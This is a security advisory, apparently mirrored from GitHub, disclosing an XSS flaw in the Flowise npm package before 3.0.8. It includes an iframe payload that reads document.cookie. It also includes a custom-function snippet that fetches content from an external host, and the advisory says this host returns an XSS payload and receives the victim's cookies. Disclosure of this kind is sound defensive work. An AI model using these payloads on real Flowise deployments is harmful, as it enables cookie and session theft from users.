GHSA-4FR9-3X69-36WV

Vulnerability from github – Published: 2025-10-03 19:27 – Updated: 2025-10-13 15:26
VLAI
Summary
Flowise vulnerable to XSS
Details

Summary

A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.

Details

  1. Send a Message <iframe src="javascript:alert(document.cookie);"> from User in a chat box: image
Trigger in other ways:
  1. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)

  2. Create a Custom function as an example, use the below example code.

const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
    }
};
try {
    const response = await fetch(url, options);
    const text = await response.text();
    return text;
} catch (error) {
    console.error(error);
    return '';
}
  1. The external website (https://external.website) return a XSS payload as content. image

  2. The javascript code is executed and the victim's cookie data is sent to the external website. image

PoC

<iframe src="javascript:alert(document.cookie);">

Impact

it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-03T19:27:06Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.\n\n### Details\n1. Send a Message `\u003ciframe src=\"javascript:alert(document.cookie);\"\u003e` from User in a chat box:\n\u003cimg width=\"1396\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5\" /\u003e\n\n##### Trigger in other ways:\n2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)\n\n3. Create a Custom function as an example, use the below example code.\n```\nconst fetch = require(\u0027node-fetch\u0027);\nconst url = \u0027https://external.website\u0027;\nconst options = {\n    method: \u0027GET\u0027,\n    headers: {\n        \u0027Content-Type\u0027: \u0027application/json\u0027\n    }\n};\ntry {\n    const response = await fetch(url, options);\n    const text = await response.text();\n    return text;\n} catch (error) {\n    console.error(error);\n    return \u0027\u0027;\n}\n```\n\n4. The external website (https://external.website) return a XSS payload as content.\n\u003cimg width=\"1228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53\" /\u003e\n\n\n5. The javascript code is executed and the victim\u0027s cookie data is sent to the external website.\n\u003cimg width=\"1212\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7\" /\u003e\n\n\n### PoC\n`\u003ciframe src=\"javascript:alert(document.cookie);\"\u003e`\n\n### Impact\nit is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.",
  "id": "GHSA-4fr9-3x69-36wv",
  "modified": "2025-10-13T15:26:37Z",
  "published": "2025-10-03T19:27:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4fr9-3x69-36wv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise vulnerable to XSS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…